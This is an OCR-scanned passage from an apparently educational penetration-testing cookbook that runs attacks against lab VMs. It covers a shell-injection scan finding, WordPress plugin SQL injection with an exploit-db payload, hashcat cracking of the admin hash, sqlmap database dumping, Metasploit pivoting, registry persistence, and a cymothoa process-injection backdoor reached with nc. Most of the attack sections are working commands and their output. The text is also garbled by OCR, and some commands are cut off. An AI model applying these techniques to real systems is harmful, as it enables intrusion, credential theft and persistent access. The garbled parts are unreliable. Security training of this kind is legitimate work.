» @ Medium (24) URL Injection 1
» @ Low (198) © Low (198 found)
¥ Infa {655] Email Addresses Found 34

Vega scan overview

3. Selecting an alert in the left column will give you more details on the right, in this
case, a remote shell injection vulnerability:
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& Website View ® & B B T0
» @ 192.168.56.100 :
o} ! EEEEE

v & 09/01/2017 04:53:23 [Auditing] (960)
v € http://192.168.56.100 (960)
v @ High (83)
» % Cleartext Password over HTTP (34)
» = Cross-5ite Script Include (24)
» = Cross Site Scripting (6)

» % Possible Social Insurance Number Detected (2)
= Possible Social Security Mumber Detected (null)
% Session Cookie Without HttpOnly Flag (5)

» 2 Session Cookie Without Secure Flag (6)

v

+ Shell Injection (/tikiwiki/tiki-login.php)
= SQL Injection (2)
2 http://192.168.56.100/getboo/comment.php
= http://192.168.56.100/getboo/redirect. php
» @ Medium (24)
=@ Low (198)
v @ Info (655)

-

A

= 2 Page Fingerprint Differential Detected - Possible XPath Injg

@ Scan Infol

p AT A GLANCE
Classification Information
Resource ftikiwikiftiki-login.php
Parameter stay_in_ssl_mode
Method POST
Detection Linux/Unix Blind Timing
Type Analysis Checks
Risk

P REQUEST

POST /tikiwiki/tiki-login.php [user=vega pass=vega login=login
stay_in_ss|_mode=; /bin/sleep 31; 1

}p DISCUSSION

Command injection wulnerabilities often occur when inadequately
sanitized externally supplied data is as part of a system command
executed through a command interpreter, or shell. Vulnerabilities such
as these can be exploited by using shell metacharacters to run
additional commands that were not intended to be executed by the
application developer. The system(} function, and derivatives, are often
responsible, as these functions are very simple to use. These
vulnerabilities can grant remote access to attackers, if exploited
successfully.

b IMPACT

*» Vega has detected a

anlmernnilib

possible  command  injection

Remote shell injection vulnerability
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Scanning WordPress

WordPress is one of the most popular content management systems (CMS) used on
the internet and due to its popularity and the ability for programmers to create custom
components that integrate with WordPress, it presents a potentially attractive target.

Because of this popularity, there are many tools designed to scan for these
vulnerabilities. We will be using one of these tools, WPScan.
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Getting ready

To successfully complete this section, we will need the following;

e Installation and configuration of OWASP-BWA as highlighted in the recipe
Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup

e Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance
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How to do it...

The following steps are needed in order to perform a scan against a WordPress site
using WPScan:

1. From the command line, we will run the following to make sure that we have the
latest database downloaded and installed:

| root@kali:~/Chapter9# wpscan --update

2. Once complete and updated, we now can use WPScan to start evaluating the
security of our target WordPress site (located on our OWASP-BWA image):

| root@kali:~/Chapter9# wpscan --url http://192.168.56.100/wordpress/ --enumerate vp,vt --

3. The preceding command runs WPScan against our WordPress instance on our
OWASP-BWA host and looks for known vulnerable plugins (vp) and known
vulnerable themes (vt), and saves the information to wpscan.10g.

When scanning a remote WordPress host, it is good practice to run through
different user agents to observe if the target system returns different results
based on this change. You can instruct WPScan to use random user agents
by including the -» switch in the command line.

4. The resulting log file can now be reviewed to see what vulnerabilities are present
on the target. We can get a quick list of the vulnerabilities by running the following:

root@kali:~/Chapter9# cat wpscan.log | grep Title:

[!] Title: Wordpress 1.5.1 - 2.0.2 wp-register.php Multiple Parameter XSS

[!'] Title: WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass

[!] Title: WordPress 1.5.1 - 3.5 XMLRPC Pingback API Internal/External Port Scanning

[!'] Title: WordPress 1.5.1 - 3.5 XMLRPC pingback additional issues

[!] Title: WordPress 2.0 - 3.0.1 wp-includes/comment.php Bypass Spam Restrictions

[!] Title: WordPress 2.0 - 3.0.1 Multiple Cross-Site Scripting (XSS) in request filesyst
[!] Title: WordPress 2.0 - 3.0.1 Cross-Site Scripting (XSS) in wp-admin/plugins.php

[!] Title: WordPress 2.0 - 3.0.1 wp-includes/capabilities.php Remote Authenticated Admin
[!'] Title: WordPress 2.0 - 3.0 Remote Authenticated Administrator Add Action Bypass

[!] Title: WordPress <= 4.0 - Long Password Denial of Service (DoS)

[!] Title: WordPress <= 4.0 - Server Side Request Forgery (SSRF)

[!'] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default
['] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
[!'] Title: myGallery <= 1.4b4 - Remote File Inclusion

[!] Title: Spreadsheet <= 0.6 - SQL Injection

5. To get more details on the vulnerabilities located in this report, view the full log
file, as it contains URLSs to online resources with more detailed information. For
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example, our installation is vulnerable to the following:

[!] Title: Spreadsheet <= 0.6 - SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/6482
Reference: https://www.exploit-db.com/exploits/5486/

6. The information in this scan will be used in the next section, where we will use
these vulnerabilities to take control of our WordPress installation.
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Hacking WordPress

With information on WordPress vulnerabilities available, and with the increase of
useful tools to validate the security of WordPress installations, we will now use that
information to perform an attack on a WordPress installation targeting the administrative
user through an identified SQL injection vulnerability in a third party plugin.
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Getting ready

To successfully complete this section, we will need the following;

e Installation and configuration of OWASP-BWA as highlighted in the
recipe Installing OWASP-BWA of Chapter 1, Installing Kali and the Lab Setup

e Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance

e Results from the WPScan run in the section Scanning WordPress
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How to do it...

To gain access to the remote WordPress installation, we will do the following;

1. Based on the previous use of WPScan, we see that there is a SQL injection
vulnerability in the Spreadsheet plugin. Unfortunately, in our WPScan, we were
unable to enumerate users, so we will use this vulnerability to get the admin user
information for this installation.

2. From a command line, we will use the searcnspioit tool to locate ways to exploit
this vulnerability:

| root@kali:~/Chapter9# searchsploit WordPress Plugin Spreadsheet 0.6 - SQL Injection

3. This will present us with information, indicating that exploit information is
available 1n the file /usr/share/exploitdb/platforms/php/webapps/5486.txt. When we open
this file, it contains an example URL that will allow us to pull the admin info:

root@kali:~/Chapter9# more /usr/share/exploitdb/platforms/php/webapps/5486.txt

There's standart sqgl-injection in Spreadsheet <= 0.6 Plugin

# Author : 1lten0.Onetl

# Script : Wordpress Plugin Spreadsheet <= 0.6 v.

# Download : http://timrohrer.com/blog/?page id=71

# BUG : Remote SQL-Injection Vulnerability

# Dork : inurl:/wp-content/plugins/wpSS/

Example:
http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+l,con

Vulnerable code:
ss_load.php
$id = $_GET['ss_id'];

ss_functions.php:
function ss_load ($id, $plain=FALSE) {

if ($wpdb->query ("SELECT * FROM $table name WHERE id='$id'") == 0) {

==> Visit us @ forum.antichat.ru
# milwOrm.com [2008-04-22]

4. If we take the example URL from the preceding example and adapt it to our
directory structure, we get the following:

| http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1l+and+ (1=0)+un

5. Taking the preceding URL, we enter that into our Firefox browser and access the
page. Due to the SQL injection, we are presented with the user (admin), hashed
password, and email address for the user with the ID of 1:
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|BIQ o 4o

| fx
admin:21232f297a57a5a7438%4a0e4a801fc3:admin@example.org

Admin user information obtained through vulnerable plugin

6. Let's add that to a file so that we can run it through hashcat to get the password:

| root@kali:~/Chapter9# echo 21232f297a57a5a743894a0e4a801fc3 > wp_admin.txt

7. It is important to note that in WordPress versions 2.4 and prior, the password was
hashed as an unsalted MDS5 hash, so we will need to tell hashcat that the format 1s
MDS5 (-n 0), to use the hash we saved into wp_aamin.txt, and to use the local copy of
rockyou.txt dictionary:

| hashcat -m 0 wp_admin.txt ./rockyou.txt

8. Hashcat will now run through rocxyou.txt and display the following, including the
password for the admin account (in this case, it iS aamin):

Session..........: hashcat

Status...........: Cracked

Hash.Type........: MD5

Hash.Target......: 21232£297a57a5a743894a0e4a801fc3
Time.Started.....: Thu Aug 31 22:25:21 2017 (0 secs)
Time.Estimated...: Thu Aug 31 22:25:21 2017 (0 secs)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)

Speed.Dev.#1.....: 3059.9 kH/s (0.24ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 20480/14343297 (0.14%)
Rejected.........: 0/20480 (0.00%)
Restore.Point....: 19456/14343297 (0.14%)
Candidates.#1....: admin -> admin
HWMon.Dev.#1.....: N/A

9. With the admin user account password, we can now do as we please after logging
into the WordPress instance, including add/remove accounts, adding/removing
plugins, uploading files of our choice, and so on.

In this case, we were able to get the admin user's hashed password
through a SQL injection, which is preferable to brute force, as doing so
can lock accounts and alert the target system owners. WPScan has
provisions to do remote brute force attacks and will attempt to locate
plugins designed to prevent brute force attacks.
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Performing SQL injection attacks

Nearly all model web applications use an underlying database for storage of everything
from application configuration, localization, user authentication credentials, sales
records, patient records, and more. The information is read from and written to by the
web applications that face the internet.

Unfortunately, web applications often are written in a way that allows remote users to
insert their own commands into input forms, giving them the ability to change how the
application behaves, and potentially giving access directly to the database itself.
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Getting ready

To successfully complete this section, you will need the following:

e Installation and configuration of OWASP-BWA as highlighted in the recipe
Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup

e Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance

e Scan results from OWASP-ZAP in the recipe, Scanning for Vulnerabilities of Chapte
r9, Web and Database Specific Recipes

e You will need to log into the OrangeHRM application at
http://192.168.56.100/orangenrm/ With the user/password aamin, and enter some user
information, as the database that ships with OWASP does not include this
information

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

How to do it...

Starting with the results from the OWASP-ZAP scan from Scanning for vulnerabilities,
we will do the following:

1. As seen in Hacking WordPress, a SQL-injection attack allowed us to extract the
admin user information that was later cracked with hashcat. We will be taking that
single vulnerability and using it to go beyond just the WordPress database.

2. To start, we need to identify the underlying database. Open a terminal, and at the
command line enter the following;

| root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS

3. This will provide the following information, indicating it is MySQL server 5 or
higher:

[03:00:56] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0

4. Next, we need to see what other databases are on the target system. From the
command line, run the following command:

| root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS

5. This will dump a list of all databases accessible through this SQL injection vector:

[03:04:37] [INFO] fetching database names
[03:04:37] [INFO] the SQL query used returns 34 entries
available databases [34]:
[*] .svn

[*] bricks

[*] bwapp

[*] citizens

[*] cryptomg

[*] dvwa

[*] gallery2

[*] getboo

[*] ghost

[*] gtd-php

[*] hex

[*] information_schema
[*] isp

[*] joomla

[*] mutillidae

[*] mysql

[*] nowasp

[*] orangehrm

[*] personalblog

[*] peruggia
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[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

phpbb
phpmyadmin
Proxy
rentnet
sqlol
tikiwiki
vicnum
wackopicko
wavsepdb
webcal
webgoat_coins
wordpress
wraithlogin
yazd

6. From the list of available databases, we will work with OrangeHRM, as itis a
human resources management application. From the command line, run the
following to dump the tables that are present in the OrangeHRM database:

| root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS

7. This will dump a list of all the tables in the OrangeHRM database, and the amount
of data it returns 1s substantial, 84 tables to be exact. In the list that is output, you
will see some interesting ones such as:

hs hr customer (Customers)

hs hr emp directdebit (Bank account information for direct deposit)
hs hr emp passport (Passport records)

hs hr employee (Detailed employee info)

hs hr users (HR app users, able to create/modify users,

employees, and so on)

8. With the information from the database, an attacker would be able to extract and
crack user credentials for an administrator and log in with super user rights. They
could create a fake employee, generate a payroll record, and have payroll sent via
direct deposit to an outside bank. They would also be able to use the information to
steal the identities of any employee, manipulate their salaries, and so on.

It is important to note that even though we started on an application not
related to the HR application, because they were housed on the same
MySQL server, and the user credentials used had to access to all
databases, we were easily able to jump between databases, even if, in this
case, the HR application was only available internally.
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Maintaining Access

In this chapter, we will cover the following topics:

Pivoting and expanding access to the network
Using persistence to maintain system access
Using cymothoa to create a Linux backdoor
Protocol spoofing using pingtunnel

Protocol spoofing using httptunnel

Hiding communications with cryptcat
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Introduction

In this chapter, we will explore using multiple methods to maintain access. For best
results, multiple hosts and multiple methodologies should be employed. We will also
discuss how we cover our tracks to make it easier to hide our activity.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Pivoting and expanding access to the
network

In this recipe, we will leverage a host as a beachhead to exploit other hosts.

While this recipe may not sound appropriate for the topic of the chapter, one of the best
ways of maintaining access to a target network is to have more hosts exploited that you
can use for your communication channel. You can also have them use various forms of
methods to reach out, so that if one is discovered you have access to others through
different means.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Windows XP VM is powered up on the host-only network
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How to do it...

To complete this recipe, we will do the following;

1. Validate the IP addresses of your machines before we get started.
2. We are going to start with an already exploited machine in Armitage.

We will be continuing from Chapter 7, Privilege Escalation in
recipe Remotely bypassing Windows UAC, if you need assistance getting
started.

Armitage o0

Armitage View Hosts Attacks Workspaces Help

|| capcom_sys exec s

current_user_psexec
ikeext_service
ipass_launch_app
lenovo_systemupdate |
maac_write ‘
| msl0 092 schelevator 192.168.56.162
ms11_080_afdjoinleaf TEST-01243BCBC9\Jane Doe @ TEST-01243BC8(9
_1ms13_005_hwnd_broad|
|1 msl13 053 schlamperei
ms13_081_track_popup)
msl3_097_ie_registry s
ms14_009_ie_dfsvc
a msld_OSB_!racl-._pch,p',

|Consoie X | exploit X re:plbit x] -dbwsﬂocah'mslo_.ms_kftrapod x]

msf exploit( ) > set LPORT 8949 .
LPORT => 8949
msf exploit( ) > set SESSION 6
SESSION => 6
msf exploit( ) > set ExitOnSession false
ExitOnSession => false
msf exploit( ) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit( ) > exploit -j
*] Exploit running as background job.
Launching notepad to host the exploit...
[+] Process 1576 launched.
Reflectively injecting the exploit DLL into 1576...
Injecting exploit into 1576 ...
Exploit injected. Injecting payload into 1576...
Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. v
exploit( ) >

Armitage - main screen

3. Right-click on the exploited windows XP machine and select Meterpreter |
Pivoting | Setup:
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Armitage @O0

Armitage View Hosts Attacks Workspaces Help

capcom _5ys_exec
|| current_user_psexec
ikeext_service
ipass_launch_app
lenovo_systemupdate
magac_write

Attack

R ms10 015 _kitrapod l Login

| ms10 092 schelevator ) - H 1 Meterpreter 6 Abdman
ms11_080_afdjoinleaf TEST-81243BC8C9\ Jane Doe o

™ ms13_005_hwnd_broad 'E;',J'l'w

L1 msl13 053 schlamperei =
ms13_081_track_popup ARP Scan... 5""“”"3."'
ms13_097_ie_registry s = Remove

msl4_009 _je_dfsvc Kill
msld_058_trac k_popup',

Armitage - main screen

4. Select Add Pivot at the dialog box:

Add Pivot e ® 0
host mask
192,168.56.0 255.255.255.0

Add Pivot

Armitage - Add Pivot dialog

5. Upon success you will get a Route added dialog box. Click on OK:

Message (x]

@ [*] Route added

3

Armitage - Pivot success dialog

6. Now from the nss > prompt, enter route and press Enter and you will see our newly
added route to the hosts on that subnet:
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Armitage (- IO ]
Armitage View Hosts Attacks Workspaces Help
» | auxiliary
» [ exploit
» [ payload
'k.i post

192.168.56.182
TEST-81243BC8C9\Jane Doe @ TEST-01243B(B(9

[-(onsnlé X | exploit X

Jobs

No active jobs.

Meterpreter session 1 opened (192.168.56.10:8443 -> 192.168.56.102:1036) at 2017-88-19 10:52:07 -8400
nsf > route

IPv4 Active Routing Table

Subnet Netmask Gateway

192.168.56.8 255,255.255.0 Session 1

There are currently no IPv6 routes defined,
nsf >

Armitage - main screen

If this was a host compromised across a firewall or any other security
boundary, I would now have the ability to launch attacks on other hosts on
that subnet from Metasploit.
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Using persistence to maintain system
access

In this recipe, we will use persistence to maintain access to the system across reboots.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Windows XP VM is powered up on the host-only network
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How to do it...

In this recipe we will use persistence methods to maintain access to a system:

1. Validate the IP addresses of your machines before we get started.
2. We are going to start with an already exploited machine in Armitage, ensure it has

elevated privileges.

We will be continuing with the preceding recipe if you need assistance
with getting started. If you have not elevated your privileges please do so
before continuing. If you are on XP, try using ns1s 051 client copy image.

-

Armitage @00

Armitage View Hosts Attacks Workspaces Help

L] capcom_sys _exec
current_user_psexec ‘
ikeext_service
ipass_launch_app
lenovo_systemupdate
mgac_write

] ms10_092_schelevator
msll_080_afdjoinleaf

_] ms13_005_hwnd_broad

L] ms13 053 _schlamperei
ms13_081 track_popup
ms13_097_ie_regisiry s
ms14_009_ie_dfsvc

1 msldjﬁﬁl;rackipcpup:

192.168.56,162
TEST-01243BC8C9\Jane Doe @ TEST-01243BCBC9

aw

Console X | exploit X -e:plt-:it x'] ndims.ﬂocah'msloﬁms_kftrapod. Xl

msf exploit( > set LPORT 8949

> set SESSION 6

SESSION => 6
msf exploit( ) » set ExitonSession false
ExitOnSession => false
msf exploit( ) > set DisablePayloadiandler true
DisablePayloadHandler = true
msf exploit( ) > exploit -j
*] Exploit running as background job.

Launching notepad to host the exploit...
[+] Process 1576 launched.

Reflectively injecting the exploit DLL into 1576...

Injecting exploit into 1576 ...

Exploit injected. Injecting payload into 1576...

Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
msf exploit( ) >

Armitage - main screen

3. Right-click on the exploited host and select Meterpreter | Access | Persist:
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Armitage - IO -]
Armitage View Hosts Attacks Workspaces Help
» [ auxiliary
» | exploit
» (@ payload
» i post W' ¥
- o r—
_ R .lﬁj'lha'ﬁt Escalate Privileges
TEST-81243BCBC9\ Jane DocEEaiss] Interact =
! Steal Token
Explore Dump Hashes
Fivoting Persist
ARP Scan. ;‘a_;; Session
Ki

No active jobs.

] Meterpreter session 1 opened (192.168.56.10:8443 -> 192.168.56.102:1036) at 2017-08-19 10:52:07 -8400
msf > route

IPv4 Active Routing Table

Subnet Netmask Gateway

192.168.56.0 255.255.255.0 Session 1

There are currently no IPv6 routes defined.
msf >

Armitage - main screen

Scroll through the options on the persistence screen ensuring your LHOST and
other options are correct and taking note of the LPORT, click on Launch:
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Persistence e ® O
Windows Persistent Registry Startup Payload Installer
This module will install a payload that is executed during boot. It will be executed

either at user logon or system startup via the registry value in
"CurrentVersion\Run" (depending on privilege and selected method).

-

Option 4| Value
lJISaDI-EFByFDaUHar‘IUIEF frue A
EXE_NAME
EXE::Custom = ;
ExitOnSession false
IS A -2 16: 55 10 L
LPORT 10640 .

Targets: |0 => Windows .:I

[_J Show advanced options

Launch

Armitage - persistence dialog

5. You will now see the exploit launch against the host. Once complete, you will see
the following :
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Armitage e O

Armitage View Hosts Attacks Workspaces Help

lenovo_systemupdate

T

mgac_write
ms10_015_kitrap0d
msl0_092_schelevator
ms11_080_afdjoinleaf L
" ms13_005_hwnd broadcast )
_1 ms13_053_schlamperel
ms13_081_track_popup_menu /,‘
L 1 ms13_097_ie_registry_symlink
|| ms14 009 ie dfsvc
msl4_058_track_popup_menu

TEST-91243BC8C9\ Jane Doe @ TEST-81243BC8(9

msl4_070_tcpip_ioctl
msl5_004_tswbproxy

B ms15 051 client copy image

ms15_078_atmfd_bof -

aw

l Console X l Meterpreter 1 X | windows/localims15_051_client_copy_image X | Persistence X |
msf exploit( ) > set SESSION 2 A
SESSION => 2
msf exploit( ) > set ExitOnSession false
ExitOnSession = false
nsf exploit( ) > set STARTUP SYSTEM
STARTUP SYSTEM
msf exploit( ) » set DELAY 10
RELAY => 10
msf exploit( ) > set DisablePayloadHandler true
DisablePayloadHandler = true
msf exploit( ) > exploit -j
*] Exploit running as background job.
Running persistent module against TEST 9 via session ID: 2
] Persistent VBS script written on TEST-01243BCB(S \DOCUME=~1\JANEDO=~1\LOCALS~1\Temp\EjTRFFInJLTB. vbs
Installing as HKLM\Software\ DhuErx
[+] Installed autorun on TEST-01243BC8(9 ( \Windows\CurrentVers \
*] Clean up Meterpreter RC file: /root/.ms s/ d / JTEST-01243BC8(9 20176819,3231.rcjd
oit( ) »

Armitage - main screen

6. Kill all your meterpreter jobs for the host by right-clicking on the host and
selecting Meterpreter | Kill. Do this for each session. Also, close out all windows
on the bottom except the console:
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Armitage e 00

Armitage View Hosts Attacks Workspaces Help

| lenovo_systemupdate

T

mgac_write
ms10 015 kitrap0d
msl0_092_schelevator
ms11_080_afdjoinleaf
ms13_005_hwnd_broadcast
L1 ms13_053_schlamperei
msl3 081 track_popup_menu
ms13_097_ie_registry_symlink
msl4_009_ie dfsvc
] msl4 058 track _popup_menu
msl14_070_tcpip_ioctl

ms15_004_tswbproxy
IR ms15 051 client copy image
ms15_078_atmfd_bof .
Console X |

No active jobs.

Meterpreter session 1 opened (192.168.56.10:8443 -> 192,168,56.102:1036) at 2017-08-19 16:52:07 -0400
msf > route

IPv4 Active Routing Table

Subnet Netmask Gateway

192.168.56.0 255.255.255.0 Session 1

There are currently no IPv6 routes defined.
Meterpreter session 2 opened (192.168.56.10:10640 -> 192,168.56.102:1042) at 2017-88-19 11:29:37 -0460
192,168,56,102 - Meterpreter session 2 clc .

6.102 - Meterpreter session 1 closed.

Armitage - main screen

7. Let's take a look at our jobs, from the console nst > prompt, type joos and press
Enter:
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Armitage e ® O

Armitage View Hosts Attacks Workspaces Help

lenovo_systemupdate =
mgac_write
_1msl0_015_kitrapOd
ms10_092_schelevator
msl1l_080_afdjoinleaf

™
msl3_005_hwnd_broadcast 1
1 ms13 053 schlampere| =
ms13_081_track_popup_menu /.' 192.108.56.182

msl3 097 _ie_registry_symlink
] msl4 009 ie dfsvc
msl4_058_track_popup_menu
msl4_070_tcpip_joctl
msl5_004_tswbproxy

msl5_078_atmfd_bof %

aw

[ console X |

92.168.56.0 255.255.255.0 Session 1

There are currently no IPv6 routes defined.
Meterpreter session 2 d (192.168.56.,10:10640 -> 192.168.56,102:1042) at 2017-088-19 11:29:37 -0400
192,168,56.102 - Meterpreter session 2 closed.
192,168,56.102 - Meterpreter session 1 closed,
msf > jobs

Jobs

Id Name Payload Payload opts

® Exploit: multi/handler windows/meterpreter/rever
1 Exploit: multi/handler windows/meterpreter/reverse

Armitage - main screen

8. Kill off any jobs that are not related to the LPORT that was noted during step 4. In
my case [ will be killing job 1 by typing xi11 1 and then pressing Enter:

2re are currently no IPv6 routes defined. A
er session 2 opened (192.168.56.10:10640 -> 192,168.56.102:1042) at 2017-08-19 11:29:37 -0400
.56.102 - Meterpreter session 2 closed.
8,56.102 - Meterpreter session 1 closed.
msf > jobs

Jobs

Name Payload Payload opts

Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://0.0.0.0:10640
Exploit: multi/handler windows/meterpreter/reverse_tcp tcj 0.0.0.0:8443

msf > kill 1
Stopping the following job(s): 1 '
Stopping job ]]I b
msf > |

R I e e e . e e . e e i t o i i i i I A i o e G i i i O At ot G i i v i i 6 G i i i i rrrrr/”
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10.

Armitage - Console window

. Now, shutdown the windows XP VM and wait a minute or two, then start it back

up and log in as the same user.
You will now see that the Windows VM has reached back out and connected and
we have a new meterpreter session available to work with:

Armitage o0

Armitage View Hosts Attacks Workspaces Help

|| lenovo_systemupdate

mgac_write

L] ms10_015_kitrapOd
ms10_092_schelevator
msl11_080_afdjoinleaf

|1 ms13_005_hwnd_broadcast

_| ms13_053_schlamperei

['] ms13_081_track_popup_menu 192.168.56, 10, Meterpreter 3 > Access

['| ms13 097 le registry_symlink TEST-812438C8(9\Jane Doe @ TS Interact P

" ms14_009_ie _dfsve Scan Explore ; Iclnt_crpreter Shell
ms14_058_track_popup_menu Host Pivoting | Desktop (VNC)

L] msl4_070_tcpip_ioctl ARP Scan...

msl15 004 tswbproxy
B ms15 051 client_copy image
.1 ms15_078_atmfd_bof

il

Armitage - main screen
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Using cymothoa to create a Linux
backdoor

In this recipe, we will use cymothoa to maintain Linux system access through the use of
a backdoor.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Metasploitable VM is powered up on the host-only network
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How to do it...

To create a backdoor in Linux, we will use the following recipe:

1. Validate the IP addresses of your machines before we get started.
2. Inthis case, we will be starting from a machine that has already been exploited; we
will shortcut this exercise by accessing the Metasploitable machine through SSH.

If you want, you can continue this recipe from Chapter 7, Privilege
0 Escalation.

(O8]

On your Kali machine start Armitage.

4. From Armitage, let's add the Metasploitable host if it is not already present. For
this recipe, my Metasploitable machine is 192.168.56.101. If required, scan, nmap,
and run the attack vectors against the Metasploitable device.

See Chapter 4, Finding Exploits in the Target for information on using
Armitage.

5. Right-click on the Metasploitable machine and select Login | ssh:

P )

Armitage View Hosts Attacks

* B auxiliary
> [l exploit
* |l payload
» [ post

Armitage main screen

6. Enter the credentials for the Metasploitable machine nsfadmin/msfaanin and select
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Launch:

login e 00
user A | pass host
User msfadmin
Pass msfadmin
b
__ Check all credentials L3
| Launch |

Armitage credentials dialog box

7. The machine icon will change to show it's compromised due to the fact that we
have access. From here, right-click on the Metasploitable machine and select
shell | interact.

8. Open Firefox and download the following file to the Kali machine: https:/sourceforge.n
et/projects/cymothoa/files/cymothoa-1-beta/cymothoa-1-beta.tar.gz/download.

Opening cymothoa-1-beta.tar.gz (%]
You have chosen to open:

cymothoa-1-beta.tar.gz

which is: Gzip archive (17.8 KB)
from: http://cfhcable.dl.sourceforge.net

What should Firefox do with this file?
Open with | Archive Manager (default) v
Save Fkr'le

Do this automatically for files like this from now on.

Cancel OK

Firefox save dialog box

9. From the Armitage shell screen, right-click and select Upload:
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Console X | Scan X | nmap X lau:uhar,r X iSheiil X

Armitage shell screen

10. Browse and select the cymotnoa-1-veta.tar.gz and upload it to the Metasploitable VM:

Select file to upload (x]
Look In: | (i Downloads v ] et "] LN

& cymothoa-1-beta jre-6ud5-windows-i586.exe
25912.c putty.exe
39719.psl
1 acrobat505.exe
L] cymothoa-1-beta.tar
- cymothoa-l-br-‘a.tar.gz

s

File Name:

Files of Type: | All Files g

| Open || Cancel

Armitage file upload dialog box

11. From the shell screen in Armitage enter the following commands:

tar xvfz cymothoa-l-beta.tar.gz <enter>
chmod +x cymothoa-l-beta -R <enter>

cd cymothoa-1l-beta <enter>

make <enter>

./cymothoa <enter>
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Console X | Scan X | nmap X | auxiliary X |She||1 X|

$
$
b
$
]
$
$
$
b
S
$

$

$ cd cymothoa-1-beta

$ make

cc bgrep.c -0 bgrep

cc udp_server.c -o udp_server

cc cymothoa.c -0 cymothoa -DLlinux_x86
$ ./cymothos

Armitage shell screen

12. Let's find a process to attach to by entering the following command:

| ps -aux
Armitage e e 0
Armitage View Hosts Attacks Workspaces Help
» [ auxiliary '
* ([ exploit ‘
> (8 payload ¢
> .] post
102.168.56.101
|SSH msfadmin:msfadmin (192.168.56.101:
[ console X | Scan X \ nmap X ] auxiliary X | Shell2 X

(demon 451/ 0.0 0.9 . [ SN L/7:18  ©Bidd 01STCCa --0aemon --USEr aaemon
root 4531 0.0 0.0 2568 D ttyl §s 17:10 0:00 /bin/login --

root 4534 0.0 0.5 13924 12044 ? S 17:10 92 Xtightvnc :0 -desktop X -auth /
Jusr/X11R6/1ib/X11/fonts/Typel/, fusr/X11R6/1ib/X11/fonts/Speedo/, /usr/X11R6/1ib/X11/fonts/misc/,

-co /etc/X11/rgb

daemon 4539 0.0 0.0 2316 2127 SN 17:10 0:00 distccd --daemon --user daemon
root 4543 0.0 0.0 2724 1184 7 5 17:16  0:00 /bin/sh /root/.vnc/xstartup
root 4546 0.0 0. 5036 2572 7 S 17:10 0:00 xterm -geometry 86x24+10+16 -1<8

\

root 4551 0.0 0.2 B988 4992 ? S 17:10  0:03 fluxbox

root 4566 0.0 0.0 2852 1546 pts/0 S% 17:16 0: -bash

msfadmin 4720 0.€ .0 4632 2024 ttyl S 17:51 0:00 -bash

postfix 4854 0.6 0.0 5420 1644 ? S 18:50  0:00 pickup -1 -t fifo -u -c

postfix 4946 6.0 0. 5788 2464 ? S 19:28 0:00 tlsmgr -1 -t unix -u -c v
$

Armitage full screen
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13. Now let's attempt to attach to one of the processes we see here — make note of a
PID value — a shell process is a good trial. In this case, we will use the PID 4720
and we will open a hole on port 4000 for a reverse connection:

| ./cymothoa -p 4720 -s 1 -y 4000

Armitage 00
Armitage View Hosts Attacks Workspaces Help
* | auxiliary
> | exploit
* [ payload
» [ post

192.168.56.161

SSH msfadmin:msfadmin (192.168.56.101:22)

| Console xiScan X [nmap X | auxiliary X [Shellz xl

$ ./cymothoa -p 4720 -s 1 -y 46800
[+] attaching to process 4720

register info:

eax value: exfffffeeo
esp value: 8xbfe07f48

new esp: Bxbfed7f44

payload preamble: fork
injecting code into 8xb7f286600
copy general purpose registers
detaching from 4726

infected!!!
e ares

Armitage full screen

You may need to try several different Process IDs until you get a
successful infection. If the worst comes to the worst, login to the
Metasploitable machine VM as the nsraamin user and then attach to that bash
process.

14. Now from your Kali Linux machine open a terminal session and type the
following;
cd <enter>
nc 192.168.56.101 4000 <enter>

ls <enter>
whoami <enter>
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root@kali: ~/Downloads/cymothoa-1-beta - O

File Edit View Search Terminal Help
root@kali:~/Downloads/cymothoa-1-beta# nc 192.168.56.101 4600 -
ls

Makefile

bgrep

bgrep.c

cymothoa

cymothoa.c

cymothoa.h

hexdump to cstring.pl

payloads

payloads.h

personalization.h

syscall code.pl

syscalls.txt

udp server

udp server.c

whoami

|ms fadmin

Kali terminal window

Please note that you will not be receiving any terminal prompts from the
sessions but you will be entering commands as the user that owned the
process ID (PID). So if possible, work on the PID with high-level
privileges such as those used by the root.
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Protocol spoofing using pingtunnel

In this recipe we will use pingtunnel to tunnel communications between two hosts. As
